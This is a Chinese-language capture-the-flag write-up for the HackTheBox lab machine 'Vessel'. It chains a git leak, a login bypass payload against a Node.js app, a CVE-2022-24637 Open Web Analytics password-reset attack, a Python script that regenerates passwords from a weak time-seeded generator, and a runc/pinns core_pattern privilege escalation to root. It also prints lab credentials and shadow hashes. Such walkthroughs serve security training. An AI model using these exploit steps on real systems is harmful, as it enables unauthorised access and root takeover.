基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nmap -sC -sV -Pn 10.10.11.178
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 21:37 CST
Nmap scan report for 10.10.11.178
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 38:c2:97:32:7b:9e:c5:65:b4:4b:4e:a3:30:a5:9a:a5 (RSA)
| 256 33:b3:55:f4:a1:7f:f8:4e:48:da:c5:29:63:13:83:3d (ECDSA)
|_ 256 a1:f1:88:1c:3a:39:72:74:e6:30:1f:28:b6:80:25:4e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Vessel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.36 seconds

80

根据请求响应信息知道是Nodejs Express:

目录扫描

目录扫描发现dev,继续扫描发现git泄漏:

1
2
3
4
5
6
7
8
9
10
11
12
gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt  -t 50 -u http://10.10.11.178/ --wildcard --exclude-length 26

/admin (Status: 302) [Size: 28] [--> /login]
/css (Status: 301) [Size: 173] [--> /css/]
/dev (Status: 301) [Size: 173] [--> /dev/]
/img (Status: 301) [Size: 173] [--> /img/]
/js (Status: 301) [Size: 171] [--> /js/]
/logout (Status: 302) [Size: 28] [--> /login]

gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/common.txt -t 50 -u http://10.10.11.178/dev/ --wildcard --exclude-length 26

/.git/HEAD (Status: 200) [Size: 23]

dev git泄漏

dump源码分析

1
git-dumper http://10.10.11.178/dev/.git/ git_dump

根据log,发现security fix以及作者相关信息:

security fix

查看代码,发现login修复了sql 注入:

这段代码看起来很安全,但是,典型案例:

攻击者可以传入对象而不是字符串,从而绕过认证

config/db.js

config里得到数据库密码:

1
2
3
4
5
6
7
var connection = {
db: {
host : 'localhost',
user : 'default',
password : 'daqvACHKvRn84VdVp',
database : 'vessel'
}};

admin

使用文章中的payload绕过登录,进入管理后台:

1
username=admin&password[password]=1

分析功能发现新的子域名:

openwebanalytics.vessel.htb

新的子域名加入hosts后访问, 需要认证:

1
10.10.11.178 vessel.htb openwebanalytics.vessel.htb

搜索可以找到相关漏洞:

CVE-2022-24637

1
2
3
$cache_file = $this->makeCollectionDirPath($collection).$id.'.php';

http://openwebanalytics.vessel.htb/owa-data/caches/1/
  • 缓存文件是使用用户的 id 生成的,格式如下:md5(id1)
  • 因此,对于 id 为 1 的用户,缓存名称为:fafe1b60c24107ccd8f4562213e44849
  • 使用 http://openwebanalytics.vessel.htb/index.php?owa_do=base.passwordResetForm ,我们可以找出一个有效的电子邮件,admin@vessel.htb
  • 我假设这个用户的 id 为 1,最后证明是真的。
  • 我们可以尝试使用这个账号登录,即使登录失败也会在 http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_configuration/ 下生成缓存文件,但是这个缓存不包含任何用户敏感信息。所以我们需要找到其他对应的动作来生成另一个缓存。
  • 通过一些谷歌搜索,我发现其他人的网站运行 owa 并揭示了缓存文件的命名方式。然后我搜索的方式是使用谷歌搜索运算符:
  • 后来,我发现通过请求为用户重置密码,会在 http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php admin@vessel.htb处生成缓存,这可以观察到,因为当缓存文件在那里,路径 http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/ 将显示一个空白页面而不是目录列表视图。
  • 检查文件内容:

简单的步骤就是:

  1. 去重置 admin@vessel.htb 账号密码
  2. 对应文件得到缓存信息
1
2
3
4
5
6
curl http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php 

admin@vessel.htb
$2y$10$B1xWod4b9nkPdUFqaaL5LOZJd5Mb/50AmVMTvK5rhDImdh1XWn2U6
temp_passkey : 7e0db1883aff3f509809dc788118d136
api_key : a390cc0247ecada9a2b8d2338b9ca6d2

得到的hash破解不出来,但有一个temp_passkey,可以用于重置密码:

1
http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword
  • 检查表单以检查用于此请求的密钥名称(隐藏在表单中)owa_k
  • 删除隐藏属性,将 temp_passkey 粘贴到字段中,然后更改密码
  • 现在,您应该可以admin使用新设置的密码登录帐户了

shell

可以根据文章手工,也可以直接脚本打到www-data shell:

passwordGenerator

/home/steven目录下有几个文件,下载下来分析:

1
2
3
/home/steven/passwordGenerator
/home/steven/.notes/screenshot.png
/home/steven/.notes/notes.pdf

网络问题,passwordGenerator是个exe太大了下载不下来,这部分根据wp云了:

1
2
3
4
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
  • 复制genPassword代码并修改它以使其工作。
  • 然后创建一个while循环来生成密码,这个过程在大约1000个密码时会变得非常慢。
  • 使用生成的密码破解pdf,得到pdf密码
1
2
3
pdfcrack -f notes.pdf -w ~/share/passwordGenerator_extracted/pass.txt

found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS'

打开pdf,得到ethan用户密码:

1
2
3
4
5
6
Dear Steven,
As we discussed since I'm going on vacation you will be in charge of system maintenance. Please
ensure that the system is fully patched and up to date.
Here is my password: b@mPRNSVTjjLKId1T
System Administrator
Ethan

genPassword.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from PySide2.QtCore import *


def genPassword():
length = 32
char = 0
if char == 0:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
else:
if char == 1:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
else:
if char == 2:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
else:
pass
try:
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
except:
print('error')
return password


def gen_possible_passes():
passes = []
try:
while True:
ps = genPassword()
if ps not in passes:
passes.append(ps)
# print(ps)
print(len(passes))
except KeyboardInterrupt:
with open('pass.txt', 'w') as ofile:
for p in passes:
ofile.write(p + '\n')


gen_possible_passes()

user flag

ethan用户ssh登录,得到user flag:

1
2
ssh ethan@10.10.11.178
b@mPRNSVTjjLKId1T

提权信息

运行linpeas,发现runc,搜索能发现一个相关漏洞:

提权 & root flag

  • 严格按照步骤操作,这是一个令人困惑的漏洞利用
  • 请注意,此漏洞利用不涉及 kubectl、minikube、docker 等。您需要了解 cve-2022-0811 的概念并使用底层命令进行复制

两个ssh session:

Session1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mkdir /tmp/miao && cd /tmp/miao
runc spec --rootless
mkdir rootfs
nano config.json

# 在mount section里面添加内容:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

# 运行,得到只读root:
runc --root /tmp/miao run alpine

Session2:

1
echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/miao/e.sh && chmod +x /tmp/miao/e.sh

然后回到session1,确认文件已创建:

1
# ls -al /tmp/miao

session 2中,使用 pinns 为 kernel.core_pattern 分配一个值,以便在核心转储时,它将执行恶意脚本

1
pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/miao/e.sh #' --ipc --net --uts --cgroup

session 1,触发核心转储

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ulimit -c unlimited
# tail -f /dev/null &
# ps
PID TTY TIME CMD
1 pts/0 00:00:00 sh
11 pts/0 00:00:00 tail
12 pts/0 00:00:00 ps
# bash -i
bash: /root/.bashrc: Permission denied
root@runc:/# kill -SIGSEGV 11
root@runc:/# ps
PID TTY TIME CMD
1 pts/0 00:00:00 sh
13 pts/0 00:00:00 bash
15 pts/0 00:00:00 ps
root@runc:/#

session 2中,检查该s位是否已分配给usr/bin/bash,然后提升为有效root:

shadow

1
2
3
root:$6$9AU197eAAajcv6DO$YOGX5f111bLxtIqVgPKGg3QmWiWIRVmYk3Gkj0BwFVb9K0BkAnJEHaRJElahiQGxtDnvjPI9XqPMkI7YrE60A1:19101:0:99999:7:::
ethan:$6$7ZmNCkavGVnqDtRI$DXwHR.p1AXlIwDsoi20wpd57ZQL4doguuNxh4XY.vzX8wwnD8uz5Gz2AG6tWDEDfsO8CQFOYgEHg/riNHOJ4k0:19099:0:99999:7:::
steven:$6$Czg9.c1hcgYo7ON4$ogez7L7bCGFTURA4LcPv8A5CWdGufpkI4QHhSfKtZUMq2vzT7hKP/.DSDRXSQBWzgvVTnIpY/jG.zYFIgWFXD.:19099:0:99999:7:::

参考资料